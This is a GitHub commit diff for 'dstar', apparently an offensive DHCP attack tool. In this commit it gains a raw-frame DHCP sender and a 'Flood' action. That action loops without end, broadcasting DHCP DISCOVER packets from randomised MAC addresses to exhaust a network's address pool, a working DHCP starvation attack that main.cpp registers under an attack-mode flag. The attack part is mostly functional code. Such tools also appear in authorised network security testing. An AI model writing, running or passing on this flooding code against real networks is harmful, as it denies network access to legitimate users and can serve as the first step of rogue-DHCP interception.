Skip to content

Commit 058e8f7

Browse files
committed
Implemented sendDhcpMsg, added first simple action: Flood
1 parent ddf89ab commit 058e8f7

File tree

7 files changed

+95
-6
lines changed

7 files changed

+95
-6
lines changed

CMakeLists.txt

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -27,7 +27,7 @@ link_directories("${source_dir}/bin/")
2727
include_directories(include)
2828
set(EXECUTABLE_OUTPUT_PATH "${PROJECT_SOURCE_DIR}/bin")
2929

30-
add_executable(dstar src/main.cpp src/Core.cpp)
30+
add_executable(dstar src/main.cpp src/Core.cpp src/actions/Flood.cpp)
3131
add_dependencies(dstar ${DEP_ARGSX})
3232
add_dependencies(dstar ${DEP_SPARK})
3333
target_link_libraries(dstar pthread)

include/Core.h

Lines changed: 12 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -17,27 +17,37 @@
1717
#ifndef DSTAR_CORE_H
1818
#define DSTAR_CORE_H
1919

20+
#include <thread>
21+
#include <list>
2022
#include <string>
2123
#include <spark.h>
2224

2325
#include <PacketInfo.h>
26+
#include <DhcpAction.h>
2427

2528
#define SOCK_BUFSIZE 2048
2629

30+
class DhcpAction;
31+
2732
class Core {
2833
private:
34+
std::thread thActions;
35+
std::list<DhcpAction *> actions;
2936
SpkSock *sock;
3037
unsigned char *buf;
31-
bool stop = false;
38+
39+
void executeActions();
3240

3341
void recvDhcp();
3442

3543
public:
44+
bool stop = false;
45+
3646
void openSocket(const std::string &interface);
3747

3848
int sendDhcpMsg(DhcpPacket *message, unsigned short len, PacketInfo *pktInfo);
3949

40-
void registerCallback();
50+
void registerAction(DhcpAction *action);
4151
};
4252

4353

include/DhcpAction.h

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
#ifndef DSTAR_DHCPACTION_H
2+
#define DSTAR_DHCPACTION_H
3+
4+
#include <Core.h>
5+
#include <spark.h>
6+
7+
class Core;
8+
9+
class DhcpAction {
10+
public:
11+
virtual ~DhcpAction() = default;
12+
13+
virtual void action(Core *core) = 0;
14+
15+
virtual void recvDhcpMsg(Core *core, PacketInfo *pktInfo, DhcpPacket *dhcp) {};
16+
};
17+
18+
#endif //DSTAR_DHCPACTION_H

include/actions/Flood.h

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
#ifndef DSTAR_FLOOD_H
2+
#define DSTAR_FLOOD_H
3+
4+
#include <thread>
5+
6+
#include <DhcpAction.h>
7+
8+
class Flood : public virtual DhcpAction {
9+
public:
10+
void action(Core *core) override;
11+
};
12+
13+
#endif //DSTAR_FLOOD_H

src/Core.cpp

Lines changed: 29 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -16,9 +16,17 @@
1616

1717
#include <iostream>
1818
#include <cstring>
19+
#include <thread>
1920

2021
#include "Core.h"
2122

23+
void Core::executeActions() {
24+
while (!this->stop) {
25+
for (auto action:this->actions)
26+
action->action(this);
27+
}
28+
}
29+
2230
void Core::recvDhcp() {
2331
EthHeader *eth;
2432
Ipv4Header *ip;
@@ -69,6 +77,9 @@ void Core::recvDhcp() {
6977
continue;
7078

7179
pktInfo.toServer = ntohs(udp->srcport) == 68 && ntohs(udp->dstport) == 67;
80+
81+
for (auto action:this->actions)
82+
action->recvDhcpMsg(this, &pktInfo, dhcp);
7283
}
7384
}
7485

@@ -87,6 +98,18 @@ int Core::sendDhcpMsg(DhcpPacket *message, unsigned short len, PacketInfo *pktIn
8798
src = 68;
8899
dst = 67;
89100
}
101+
102+
eth = eth_inject_header(buf, &this->sock->iaddr, &pktInfo->phisAddr, ETHTYPE_IP);
103+
ip = ip_inject_header((unsigned char *) eth->data,
104+
&pktInfo->ipSrc,
105+
&pktInfo->ipDst, IPDEFIHL,
106+
ip_mkid(),
107+
(unsigned short) UDPHDRSIZE + len,
108+
IPDEFTTL,
109+
0x11);
110+
udp = udp_inject_header((unsigned char *) ip->data, src, dst, len);
111+
memcpy(udp->data, message, len);
112+
return spark_write(this->sock, buf, ETHHDRSIZE + IPHDRSIZE + UDPHDRSIZE + len);
90113
}
91114

92115
void Core::openSocket(const std::string &interface) {
@@ -99,11 +122,15 @@ void Core::openSocket(const std::string &interface) {
99122

100123
this->buf = new unsigned char[SOCK_BUFSIZE];
101124

125+
this->thActions = std::thread(&Core::executeActions, this);
126+
102127
this->recvDhcp();
103128

129+
this->thActions.join();
130+
104131
delete[] this->buf;
105132
}
106133

107-
void Core::registerCallback() {
108-
134+
void Core::registerAction(DhcpAction *action) {
135+
this->actions.push_front(action);
109136
}

src/actions/Flood.cpp

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
#include <actions/Flood.h>
2+
#include <iostream>
3+
4+
void Flood::action(Core *core) {
5+
DhcpPacket dhcpPacket{};
6+
PacketInfo pktInfo{};
7+
netaddr_mac(req);
8+
int err;
9+
10+
eth_rndaddr(&req);
11+
eth_bcast(&pktInfo.phisAddr);
12+
pktInfo.ipDst.ip = 0xFFFFFFFF;
13+
pktInfo.toServer = true;
14+
15+
dhcp_inject_discovery((unsigned char *) &dhcpPacket, &req, nullptr, DHCP_FLAGS_BROADCAST);
16+
if ((err = core->sendDhcpMsg(&dhcpPacket, DHCPPKTSIZE, &pktInfo)) < 0) {
17+
std::cerr << "Flood action: " << spark_strerror(err) << std::endl;
18+
core->stop = true;
19+
}
20+
}

src/main.cpp

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,7 @@
1818
#include <argsx.h>
1919

2020
#include <dstar.h>
21-
#include "Core.h"
21+
#include <actions/Flood.h>
2222

2323
using namespace std;
2424

@@ -71,6 +71,7 @@ int main(int argc, char **argv) {
7171
printWelcome();
7272

7373
if (options.mode & ATKMODE_FLOOD) {
74+
core.registerAction(new Flood());
7475

7576
} else if (options.mode & ATKMODE_RELEASE) {
7677

0 commit comments

Comments
 (0)